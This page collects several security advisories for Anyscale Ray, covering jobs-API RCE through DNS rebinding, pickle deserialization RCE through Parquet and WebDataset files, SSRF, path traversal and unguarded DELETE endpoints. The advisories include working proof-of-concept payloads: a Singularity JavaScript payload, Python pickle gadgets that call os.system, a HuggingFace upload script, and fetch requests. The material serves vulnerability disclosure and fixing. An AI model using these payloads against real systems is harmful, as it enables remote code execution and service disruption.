See how anyscale compares to other vendors in security performance
Withdrawn Advisory This advisory is a duplicate of GHSA-6wgj-66m2-xxp2 / CVE-2023-48022.
Original Description An issue in Anyscale Inc Ray between v.2.9.3 and v.2.40.0 allows a remote attacker to execute arbitrary code via a crafted script.
Anyscale Ray 2.6.3 and 2.8.0 allows a remote attacker to execute arbitrary code via the job submission API. NOTE: the vendor's position is that this report is irrelevant because Ray, as stated in its documentation, is not intended for use outside of a strictly controlled network environment. (Also, within that environment, customers at version 2.52.0 and later can choose to use token authentication.)
Summary
Developers working with Ray as a development tool can be exploited via a critical RCE vulnerability exploitable via Firefox and Safari.
Due to the longstanding decision by the Ray Development team to not implement any sort of authentication on critical endpoints, like the /api/jobs & /api/jobagent/jobs/ has once again led to a severe vulnerability that allows attackers to execute arbitrary code against Ray. This time in a development context via the browsers Firefox and Safari.
This vulnerability is due to an insufficient guard against browser-based attacks, as the current defense uses the User-Agent header starting with the string "Mozilla" as a defense mechanism. This defense is insufficient as the fetch specification allows the User-Agent header to be modified.
Combined with a DNS rebinding attack against the browser, and this vulnerability is exploitable against a developer running Ray who inadvertently visits a malicious website, or is served a malicious advertisement (malvertising).
Details
The mitigations implemented to protect against browser based attacks against local Ray nodes are insufficient.
Current Mitigation Strategies
python def isbrowserrequest(req: Request) -> bool: """Checks if a request is made by a browser like user agent.
This heuristic is very weak, but hard for a browser to bypass- eg, fetch/xhr and friends cannot alter the user-agent, but requests made with an http library can stumble into this if they choose to user a browser like user agent. """ return req.headers["User-Agent"].startswith("Mozilla")
def denybrowserrequests() -> Callable: """Reject any requests that appear to be made by a browser"""
def decoratorfactory(f: Callable) -> Callable: @functools.wraps(f) async def decorator(self, req: Request): if isbrowserrequest(req): return Response( text="Browser requests not allowed", status=aiohttp.web.HTTPMethodNotAllowed.statuscode, ) return await f(self, req)
return decorator
return decoratorfactory
https://github.com/ray-project/ray/blob/f39a860436dca3ed5b9dfae84bd867ac10c84dc6/python/ray/dashboard/optionalutils.py#L129-L155
python @aiohttp.web.middleware async def browsersnopostputmiddleware(self, request, handler): if ( # A best effort test for browser traffic. All common browsers # start with Mozilla at the time of writing. dashboardoptionalutils.isbrowserrequest(request) and request.method in [hdrs.METHPOST, hdrs.METHPUT] ): return aiohttp.web.Response( status=405, text="Method Not Allowed for browser traffic." )
return await handler(request) https://github.com/ray-project/ray/blob/e7889ae542bf0188610bc8b06d274cbf53790cbd/python/ray/dashboard/httpserverhead.py#L184-L196
This is because the fundamental assumption that the User-Agent header can't be manipulated is incorrect. In Firefox and in Safari, the fetch API allows the User-Agent header to be set to a different value. Chrome is not vulnerable, ironically, because of a bug, bringing it out of spec with the fetch specification.
Exploiting this vulnerability requires a DNS rebinding attack against the browser. Something trivially done by modern tooling like nccgroup/singularity.
PoC
Please note, this full PoC will be going live at time of disclosure.
1. Launch Ray ray start --head --port=6379 2. Ensure that the ray dashboard/service is running on port 8265 3. Launch an internet facing version of NCCGroup/Singularity following the setup guide here. 4. Visit the in Firefox or Safari: http://[my.singularity.instance]:8265/manager.html 5. Under "Attack Payload" select: Ray Jobs RCE (default port 8265) 6. Click "Start Attack". If you see a 404 error in the iFrame window that pops up, refresh the page and retry starting at step 3. 7. Once the DNS rebinding attack succeeds (you may need to try a few times), an alert will appear, then the jobs API will be invoked, and the embedded shell code will be executed, popping up the calculator.
If this attack doesn't work, consider clicking the "Toggle Advanced Options" and trying an alternative "Rebinding Strategy". I've personally been able to get this attack to work multiple times on MacOS on multiple different residential networks around the Seattle area. Some corporate networks may block DNS rebinding attacks, but likely not many.
What's going on?
This is the payload running in nccgroup/singularity:
javascript / This payload exploits Ray (https://github.com/ray-project/ray) It opens the "Calculator" application on various operating systems. The payload can be easily modified to target different OSes or implementations. The TCP port attacked is 8265. /
const RayRce = () => {
// Invoked after DNS rebinding has been performed function attack(headers, cookie, body) { // Get the current timestamp in milliseconds const timestamp = Date.now(); // OS-agnostic calculator command that tries multiple approaches const calculatorCommand = # Try Windows calculator first if command -v calc.exe >/dev/null 2>&1; then echo Windows calculator launching calc.exe & # Try macOS calculator elif command -v open >/dev/null 2>&1; then echo macOS calculator launching open -a Calculator & elif [ -f "/System/Applications/Calculator.app/Contents/MacOS/Calculator" ]; then echo macOS calculator launching /System/Applications/Calculator.app/Contents/MacOS/Calculator & # Try Linux calculators elif command -v gnome-calculator >/dev/null 2>&1; then echo Linux calculator launching gnome-calculator & elif command -v kcalc >/dev/null 2>&1; then echo Linux calculator launching kcalc & elif command -v xcalc >/dev/null 2>&1; then echo Linux calculator launching xcalc & # Fallback: try to find any calculator binary else echo Linux calculator launching find /usr/bin /usr/local/bin /opt -name "calc" -type f -executable 2>/dev/null | head -1 | xargs -I {} {} & fi echo RAY RCE: By JLLeitschuh ${timestamp} ; const data = { "entrypoint": calculatorCommand, "runtimeenv": {}, "jobid": null, "metadata": { "jobsubmissionid": timestamp.toString(), "source": "nccgroup/singluarity" } }; sooFetch('/api/jobs/', { method: 'POST', headers: { 'User-Agent': 'Other', }, body: JSON.stringify(data), }) .then(response => { console.log(response); return response.json() }) // parses JSON response into native JavaScript objects .then(data => { console.log('Success:', data); }) .catch((error) => { console.error('Error:', error); }); } // Invoked to determine whether the rebinded service // is the one targeted by this payload. Must return true or false. async function isService(headers, cookie, body) { return sooFetch("/",{ mode: 'no-cors', credentials: 'omit', }) .then(function (response) { return response.text() }) .then(function (d) { if (d.includes("You need to enable JavaScript")) { return true; } else { return false; } }) .catch(e => { return (false); }) }
return { attack, isService } }
Registry["Ray Jobs RCE"] = RayRce();
See: https://github.com/nccgroup/singularity/pull/68 Impact This vulnerability impacts developers running development/testing environments with Ray. If they fall victim to a phishing attack, or are served a malicious ad, they can be exploited and arbitrary shell code can be executed on their developer machine.
This attack can also be leveraged to attack network-adjacent instance of ray by leveraging the browser as a confused deputy intermediary to attack ray instances running inside a private corporate network.
Fix
The fix for this vulnerability is to update to Ray 2.52.0 or higher. This version also, finally, adds a disabled-by-default authentication feature that can further harden against this vulnerability: https://docs.ray.io/en/latest/ray-security/token-auth.html
Fix commit: https://github.com/ray-project/ray/commit/70e7c72780bdec075dba6cad1afe0832772bfe09
Several browsers have, after knowing about the attack for 19 years, recently begun hardening against DNS rebinding. (Chrome Local Network Access). These changes may protect you, but a previous initiative, "private network access" was rolled back. So updating is highly recommended as a defense-in-depth strategy.
Credit
The fetch bypass was originally theorized by @avilum at Oligo. The DNS rebinding step, full POC, and disclosure was by @JLLeitschuh while at Socket.
Anyscale Ray 2.52.0 contains an insecure default configuration in which token-based authentication for Ray management interfaces (including the dashboard and Jobs API) is disabled unless explicitly enabled by setting RAYAUTHMODE=token. In the default unauthenticated state, a remote attacker with network access to these interfaces can submit jobs and execute arbitrary code on the Ray cluster. NOTE: The vendor plans to enable token authentication by default in a future release. They recommend enabling token authentication to protect your cluster from unauthorized access.
Anyscale Ray 2.6.3 and 2.8.0 allows /logproxy SSRF. NOTE: the vendor's position is that this report is irrelevant because Ray, as stated in its documentation, is not intended for use outside of a strictly controlled network environment
Remote Code Execution via Parquet Arrow Extension Type Deserialization
Summary
Ray Data registers custom Arrow extension types (ray.data.arrowtensor, ray.data.arrowtensorv2, ray.data.arrowvariableshapedtensor) globally in PyArrow. When PyArrow reads a Parquet file containing one of these extension types, it calls arrowextdeserialize on the field's metadata bytes. Ray's implementation passes these bytes directly to cloudpickle.loads(), achieving arbitrary code execution during schema parsing, before any row data is read.
In May 2024, Ray fixed a related vulnerability in PyExtensionType-based extension types (issue #41314, PR #45084). In July 2025, PR #54831 introduced cloudpickle.loads() into the replacement extension types' deserialization path, reintroducing the same class of vulnerability.
Note: Source links in this report are pinned to the Ray 2.54.0 release commit (48bd1f8fa4) for stable line references. We also re-verified the same vulnerable code paths on current master as of March 17, 2026.
Details
Extension type registration
Ray Data registers three Arrow extension types globally in PyArrow:
python python/ray/data/internal/tensorextensions/arrow.py:1603-1605 pa.registerextensiontype(ArrowTensorType((0,), pa.int64())) pa.registerextensiontype(ArrowTensorTypeV2((0,), pa.int64())) pa.registerextensiontype(ArrowVariableShapedTensorType(pa.int64(), 0))
Registration happens at module load time (init.py:94-95), and any use of ray.data triggers it. Once registered, PyArrow automatically calls arrowextdeserialize whenever it encounters these extension type names in any Parquet file's schema, including files from untrusted sources.
The code path to cloudpickle.loads()
All three extension types inherit from ArrowExtensionSerializeDeserializeCache, whose arrowextdeserialize method (arrow.py:176-179) delegates to subclass methods that ultimately call deserializewithfallback():
python python/ray/data/internal/tensorextensions/arrow.py:84-96 def deserializewithfallback(serialized: bytes, fieldname: str = "data"): """Deserialize data with cloudpickle first, fallback to JSON.""" try: # Try cloudpickle first (new format) return cloudpickle.loads(serialized) # <-- arbitrary code execution except Exception: # Fallback to JSON format (legacy) try: return json.loads(serialized) except json.JSONDecodeError: raise ValueError( f"Unable to deserialize {fieldname} from {type(serialized)}" )
The serialized bytes come directly from the Parquet file's field-level metadata (ARROW:extension:metadata) with no validation. cloudpickle.loads() is tried first, meaning a crafted payload will always be executed before the safe JSON fallback is reached.
For ArrowTensorType, the call chain is:
arrowextdeserialize(cls, storagetype, serialized) # arrow.py:176 -> arrowextdeserializecache(serialized, valuetype) # arrow.py:178 -> arrowextdeserializecompute(serialized, valuetype) # arrow.py:652 -> deserializewithfallback(serialized, "shape") # arrow.py:653 -> cloudpickle.loads(serialized) # arrow.py:88 RCE
ArrowTensorTypeV2 (arrow.py:679-680) and ArrowVariableShapedTensorType (arrow.py:1076-1077) follow the same pattern.
Why the existing mitigation doesn't help
After issue #41314, Ray added checkforlegacytensortype() in parquetdatasource.py:146-170 to block the old PyExtensionType-based tensor types:
python python/ray/data/internal/datasource/parquetdatasource.py:146-170 def checkforlegacytensortype(schema): """Check for the legacy tensor extension type and raise an error if found.
Ray Data uses an extension type to represent tensors in Arrow tables. Previously, the extension type extended PyExtensionType. However, this base type can expose users to arbitrary code execution. To prevent this, we don't load the type by default. """ for name, type in zip(schema.names, schema.types): if isinstance(type, pa.UnknownExtensionType) and isinstance( type, pa.PyExtensionType ): raise RuntimeError(...)
This guard checks for PyExtensionType / UnknownExtensionType. It does not check for the currently-registered ray.data.arrowtensor types, which are the ones that call cloudpickle.loads(). Additionally, the check runs after PyArrow has already deserialized the schema, so even if it checked for the current types, the code execution would have already occurred.
Outside Ray's documented threat model
Ray's security documentation states that Ray relies on network isolation and "extensively uses cloudpickle." This vulnerability does not require cluster access. The payload arrives through a Parquet file from cloud storage, a data lake, HuggingFace, or a shared filesystem. A perfectly firewalled Ray cluster is vulnerable if it reads a crafted file.
Impact
- Affected versions: Ray 2.49.0 through 2.54.0 (latest release as of March 2026). The vulnerable deserializewithfallback function with cloudpickle.loads() was introduced in commit f6d21db1a4 (PR #54831, July 2025), first released in Ray 2.49.0. - Affected configurations: Any process that uses Ray Data and reads Parquet files. The extension types are registered globally in PyArrow, so all Parquet reads in the process are affected, including ray.data.readparquet(), pyarrow.parquet.readtable(), pandas.readparquet(), etc. - Attacker prerequisites: The attacker must place a crafted Parquet file where a Ray Data pipeline reads it. No authentication or cluster access is required. The Parquet file must contain a column with a ray.data.arrowtensor (or v2, or variable-shaped) extension type name, which makes this a targeted attack against Ray Data users. - CIA impact: Arbitrary command execution as the Ray worker process user, resulting in full server compromise. - Severity: Critical
Attack scenarios
1. HuggingFace datasets: Ray's documentation recommends reading Parquet datasets from HuggingFace using ray.data.readparquet("hf://datasets/...", filesystem=HfFileSystem()). Anyone can create a HuggingFace dataset containing a crafted Parquet file. A tensor column with ray.data.arrowtensor metadata is normal for an ML dataset, as tensor columns are a core Ray Data feature. We verified this scenario end-to-end with a private HuggingFace dataset (see PoC below).
2. Multi-tenant ML platforms: Organizations running shared Ray clusters where multiple teams submit data processing jobs. If one team can write Parquet files to shared storage that another team reads, the writer can execute arbitrary code in the reader's context.
3. Compromised data pipelines: An upstream data producer writes Parquet files with crafted tensor column metadata. The payload survives because standard Parquet tools preserve extension metadata transparently.
PoC
We provide two reproductions: a minimal local PoC and a full end-to-end scenario via HuggingFace.
Prerequisites: Python 3.12+ and uv (curl -LsSf https://astral.sh/uv/install.sh | sh).
PoC 1: Local file
Creates a valid Parquet file with a tensor column whose extension metadata contains a crafted cloudpickle payload. Reading the file with Ray Data triggers code execution during schema parsing.
1. Create the Parquet file:
bash cat > craftparquet.py << 'SCRIPT' import cloudpickle import pyarrow as pa import pyarrow.parquet as pq
COMMAND = "id > /tmp/ray-tensor-rce-proof"
class Trigger: def reduce(self): return (eval, (f"(import('os').system({COMMAND!r}), (1,))[1]",))
storagetype = pa.list(pa.int64()) schema = pa.schema([ pa.field("tensor", storagetype, metadata={ b"ARROW:extension:name": b"ray.data.arrowtensor", b"ARROW:extension:metadata": cloudpickle.dumps(Trigger()), }), pa.field("id", pa.int64()), pa.field("text", pa.string()), ]) table = pa.Table.fromarrays([ pa.array([[1, 2, 3], [4, 5, 6]], type=storagetype), pa.array([1, 2]), pa.array(["hello", "world"]), ], schema=schema) pq.writetable(table, "crafted.parquet") print("Created crafted.parquet") SCRIPT
uv run --with 'cloudpickle,pyarrow' python craftparquet.py
2. Read it with Ray Data:
bash rm -f /tmp/ray-tensor-rce-proof
uv run --with 'ray[data]' python -c " import ray.data ray.data.readparquet('crafted.parquet') "
cat /tmp/ray-tensor-rce-proof Expected: output of 'id' — confirms code execution
PoC 2: End-to-end via HuggingFace
This demonstrates the realistic attack scenario: a crafted Parquet file hosted as a HuggingFace dataset, read by a Ray cluster following Ray's own documentation.
We uploaded a crafted Parquet file to a private HuggingFace dataset at antiproof/parquet-tensor-disclosure. The file looks like a normal ML dataset with tensor, id, and text columns. The read-only token below gives access.
Upload script (for reference, this is how we seeded the dataset):
bash cat > uploaddataset.py << 'SCRIPT' /// script requires-python = ">=3.10" dependencies = ["cloudpickle", "pyarrow", "huggingfacehub"] /// """Upload a crafted Parquet file to a HuggingFace dataset.
Prerequisites: huggingface-cli login (with a write token) Usage: uv run uploaddataset.py <repoid> <command> """ import sys, tempfile from pathlib import Path import cloudpickle, pyarrow as pa, pyarrow.parquet as pq from huggingfacehub import HfApi
def buildparquet(output, command): class Trigger: def reduce(self): return (eval, (f"(import('os').system({command!r}), (1,))[1]",))
storagetype = pa.list(pa.int64()) schema = pa.schema([ pa.field("tensor", storagetype, metadata={ b"ARROW:extension:name": b"ray.data.arrowtensor", b"ARROW:extension:metadata": cloudpickle.dumps(Trigger()), }), pa.field("id", pa.int64()), pa.field("text", pa.string()), ]) table = pa.Table.fromarrays([ pa.array([[1, 2, 3], [4, 5, 6]], type=storagetype), pa.array([1, 2]), pa.array(["hello", "world"]), ], schema=schema) pq.writetable(table, str(output))
repoid, command = sys.argv[1], sys.argv[2] with tempfile.TemporaryDirectory() as tmpdir: parquet = Path(tmpdir) / "train.parquet" buildparquet(parquet, command) HfApi().uploadfile( pathorfileobj=str(parquet), pathinrepo="data/train.parquet", repoid=repoid, repotype="dataset", ) print(f"Uploaded to https://huggingface.co/datasets/{repoid}") SCRIPT
We ran: uv run uploaddataset.py antiproof/parquet-tensor-disclosure 'id > /tmp/ray-tensor-rce-proof'
Reproduce (reads the dataset from HuggingFace, no local files needed):
bash rm -f /tmp/ray-tensor-rce-proof
HFTOKEN=hfVnnQmzxXXdzdHmcGsTgpjvUPsIwkmcFxYn \ uv run --with 'ray[data],huggingfacehub' python -c " import ray.data from huggingfacehub import HfFileSystem
ray.data.readparquet( 'hf://datasets/antiproof/parquet-tensor-disclosure/data/train.parquet', filesystem=HfFileSystem(), ) "
cat /tmp/ray-tensor-rce-proof Expected: output of 'id' — confirms code execution via HuggingFace dataset
The token above is read-only. The dataset is private to prevent unintended exposure.
Suggested fix
The extension metadata stores simple values (a shape tuple like (3, 224, 224) or an ndim integer). These do not require cloudpickle.
1. Replace cloudpickle.loads() in deserializewithfallback() with json.loads(). The tensor shape and ndim are JSON-serializable. For backward compatibility with files written using the current cloudpickle format, gate cloudpickle.loads() behind an opt-in environment variable (following the pattern already established with RAYDATAAUTOLOADPYEXTENSIONTYPE). 2. Serialize new extension type metadata as JSON by default. json.dumps([3, 224, 224]) carries the same information as cloudpickle.dumps((3, 224, 224)), without the code execution risk. 3. Add a security note to readparquet() documentation explaining that Parquet files from untrusted sources can execute arbitrary code when tensor extension types are registered.
Please contact security@antiproof.ai with any questions about this disclosure policy or related security research.
A path traversal vulnerability was identified in Ray Dashboard (default port 8265) in Ray versions prior to 2.8.1. Due to improper validation and sanitization of user-supplied paths in the static file handling mechanism, an attacker can use traversal sequences (e.g., ../) to access files outside the intended static directory, resulting in local file disclosure.
Summary
ray.data.readwebdataset(paths=...) is a @PublicAPI(stability="alpha") reader for WebDataset-format TAR files. Its default decoder=True invokes defaultdecoder on every sample's keys, which routes file extension to a decoder by extension. Two of those branches deserialize attacker-controlled bytes with no validation:
- .pickle / .pkl -> pickle.loads(value) - .pt / .pth -> torch.load(io.BytesIO(value), weightsonly=False)
Both fire during a standard ray.data.readwebdataset(...).takeall() / .iterbatches() call. No flags, no opt-in, no environment variable. An attacker who can supply a TAR (via S3 share, HuggingFace Hub mirror, email attachment, model-zoo, or any HTTP URL the user passes to readwebdataset) achieves arbitrary code execution in the calling Ray process at schema-sample time, before row data is consumed.
This is the same class of bug as GHSA-mw35-8rx3-xf9r (Parquet Arrow Extension Type cloudpickle deserialization, patched in 2.55.0): standard data-loading API, attacker-controlled file format, deserialization gadget invoked transparently. The 2.55.0 patch addressed tensorextensions/arrow.py:deserializewithfallback and made cloudpickle opt-in via RAYDATAAUTOLOADCLOUDPICKLETENSORMETADATA=1. The WebDataset path is a different code site and was not touched.
Vulnerable code (HEAD a157d4d)
python/ray/data/internal/datasource/webdatasetdatasource.py lines 175-225, the defaultdecoder function:
python def defaultdecoder(sample, format=True): sample = dict(sample) for key, value in sample.items(): extension = key.split(".")[-1] ... elif extension in ["pt", "pth"]: import torch # PyTorch 2.6 changed torch.load default weightsonly=True, which # breaks loading general Python objects previously serialized for # WebDataset .pt payloads. sample[key] = torch.load(io.BytesIO(value), weightsonly=False) # line 219 elif extension in ["pickle", "pkl"]: import pickle sample[key] = pickle.loads(value) # line 223 return sample
The comment for the .pt/.pth branch is itself a security smell: it documents that the maintainer chose weightsonly=False to override PyTorch 2.6's safer default. The comment treats this as a compatibility fix; it functionally re-enables an arbitrary-code-execution path that upstream PyTorch closed.
Reachability and default-on confirmation
python/ray/data/readapi.py:2289 defines readwebdataset with default decoder=True:
python @PublicAPI(stability="alpha") def readwebdataset( paths, , ... decoder: Optional[Union[bool, str, callable, list]] = True, ... ) -> Dataset: ... datasource = WebDatasetDatasource(paths, decoder=decoder, ...)
WebDatasetDatasource.readstream (line 367) calls the decoder unconditionally when not None:
python for sample in samples: if self.decoder is not None: sample = applylist(self.decoder, sample, default=defaultdecoder)
True is not None evaluates True, so the default decoder fires for every invocation that doesn't explicitly pass decoder=None (or a custom safe decoder). The documentation does not warn about the behavior.
End-to-end reproduction
Tested on a fresh venv (pip install ray[data]) on Linux x8664. Ray reports version == "2.55.1" (the patched-against-GHSA-mw35 release):
python import io, os, pickle, subprocess, tarfile, tempfile, sys
MARKER = "/tmp/raywebdatasetpocrcemarker"
class Gadget: def reduce(self): cmd = (f"/bin/sh -c \"printf 'RCE via ray.data.readwebdataset\\n" f"pid=%s\\nuser=%s\\n' \"$$\" \"$(whoami)\" > {MARKER}\"") return (os.system, (cmd,))
with tempfile.NamedTemporaryFile(suffix=".tar", delete=False) as f: tarpath = f.name with tarfile.open(tarpath, "w") as tar: for name, body in (("000000.txt", b"hello"), ("000000.pkl", pickle.dumps(Gadget()))): ti = tarfile.TarInfo(name=name); ti.size = len(body) tar.addfile(ti, io.BytesIO(body))
import ray, ray.data ray.init(numcpus=2, ignorereiniterror=True, logtodriver=False) ds = ray.data.readwebdataset(paths=[tarpath]) rows = ds.takeall() assert os.path.exists(MARKER), "no RCE" print(open(MARKER).read())
Output:
ray version: 2.55.1 crafted /tmp/tmpjpos115h.tar (10240 bytes) ds.takeall() returned 1 row(s) RCE CONFIRMED:marker at /tmp/raywebdatasetpocrcemarker: RCE via ray.data.readwebdataset pid=248816 user=xyz
The .pt/.pth variant is the exact same primitive against the torch.load(io.BytesIO(value), weightsonly=False) branch; replace the TAR member with 000000.pt containing torch.save(Gadget()) to reproduce.
Real-world delivery vectors
- paths=["s3://bucket/poisoned.tar"] -- the user thinks they are reading a WebDataset shard; the bucket is shared, mis-permissioned, or compromised. - paths=["https://attacker/model.tar"] -- HTTP-served WebDataset. - HuggingFace Hub -- WebDataset is a recognized HF dataset format; users pull TAR shards via datasets and feed them to Ray Data. - Model-zoo / leaderboard tarballs -- common in CV/ASR workflows.
Why GHSA-mw35 doesn't cover this
GHSA-mw35-8rx3-xf9r patched tensorextensions/arrow.py:deserializewithfallback by gating cloudpickle.loads behind RAYDATAAUTOLOADCLOUDPICKLETENSORMETADATA=1. That change touches the Parquet ExtensionType deserialization path only. The advisory text does not mention WebDataset, the WebDataset code is in a different module, and the unsafe loads here use pickle.loads and torch.load(weightsonly=False) (not cloudpickle.loads).
Suggested patch
Two minimal options, both Ray-internal:
1. Make the unsafe extensions opt-in, mirroring the GHSA-mw35 fix pattern. Replace the .pt/.pth and .pkl/.pickle branches with a guard:
python import os ALLOWUNSAFE = os.environ.get( "RAYDATAWEBDATASETALLOWUNSAFEPICKLE", "0" ) == "1"
elif extension in ["pt", "pth"]: if not ALLOWUNSAFE: raise ValueError( f"Refusing to load .pt/.pth member {key!r} from WebDataset " f"with weightsonly=False. Set " f"RAYDATAWEBDATASETALLOWUNSAFEPICKLE=1 only for trusted " f"sources." ) sample[key] = torch.load(io.BytesIO(value), weightsonly=False)
elif extension in ["pickle", "pkl"]: if not ALLOWUNSAFE: raise ValueError( f"Refusing to unpickle WebDataset member {key!r} -- " f"untrusted pickle is RCE. Provide your own decoder " f"or set RAYDATAWEBDATASETALLOWUNSAFEPICKLE=1 for " f"trusted sources." ) sample[key] = pickle.loads(value)
2. Drop these branches from the default decoder entirely and require callers to provide their own decoder when working with .pkl/.pt samples. This is the safer default, matches WebDataset upstream's guidance ("by default, use safe decoders"), and is consistent with the spirit of the GHSA-mw35 patch.
Either option flips the default-on RCE primitive into an explicit opt-in. The current default-on behavior provides no signal to users that calling ray.data.readwebdataset on an untrusted TAR is equivalent to running attacker code.
References
- Source: python/ray/data/internal/datasource/webdatasetdatasource.py:175-225 - Public API: python/ray/data/readapi.py:2287-2370 (readwebdataset) - Sibling advisory of the same class: GHSA-mw35-8rx3-xf9r (Parquet Arrow Extension Type, patched 2.55.0) - Earlier related advisory: PR #45084 (2024) fixed PyExtensionType cloudpickle but did not touch the WebDataset decoder. - WebDataset format: https://github.com/webdataset/webdataset
Summary
Ray’s dashboard HTTP server blocks browser-origin POST/PUT but does not cover DELETE, and key DELETE endpoints are unauthenticated by default. If the dashboard/agent is reachable (e.g., --dashboard-host=0.0.0.0), a web page via DNS rebinding or same-network access can issue DELETE requests that shut down Serve or delete jobs without user interaction. This is a drive-by availability impact.
### Details
- Middleware: python/ray/dashboard/httpserverhead.py#getbrowsersnopostputmiddleware only checks POST/PUT via isbrowserrequest (UA/Origin/Sec-Fetch heuristics). DELETE is not gated. - Endpoints lacking browser protection/auth by default: - python/ray/dashboard/modules/serve/servehead.py: @routes.delete("/api/serve/applications/") calls serve.shutdown(). - python/ray/dashboard/modules/job/jobhead.py: @routes.delete("/api/jobs/{joborsubmissionid}"). - python/ray/dashboard/modules/job/jobagent.py: @routes.delete("/api/jobagent/jobs/{joborsubmissionid}") (not wrapped with denybrowserrequests either). - Dashboard token auth is optional and off by default; binding to 0.0.0.0 is common for remote access.
### PoC
Prereqs: dashboard reachable (e.g., ray start --head --dashboard-host=0.0.0.0), no token auth.
1. Start Serve (or have jobs present). 2. From any browser-reachable origin (DNS rebinding or same-LAN page), issue a DELETE fetch:
fetch("http://<dashboard-host>:8265/api/serve/applications/", { method: "DELETE", headers: { "User-Agent": "Mozilla/5.0" } // browsers set this automatically });
Result: Serve shuts down. 3) Similarly, delete jobs:
fetch("http://<dashboard-host>:8265/api/jobs/<joborsubmissionid>", { method: "DELETE" }); fetch("http://<dashboard-agent>:52365/api/jobagent/jobs/<joborsubmissionid>", { method: "DELETE" });
Browsers will send the Mozilla UA and Origin/Sec-Fetch headers, but DELETE is not blocked by the middleware, so the requests succeed.
### Impact
- Availability loss: Serve shutdown; job deletion. Triggerable via drive-by browser requests if the dashboard/agent ports are reachable and auth is disabled (default). - No code execution from this vector, but breaks isolation/trust assumptions for “developer-only” endpoints. Fix The fix for this vulnerability is to update to Ray 2.54.0 or higher.
Fix PR: https://github.com/ray-project/ray/pull/60526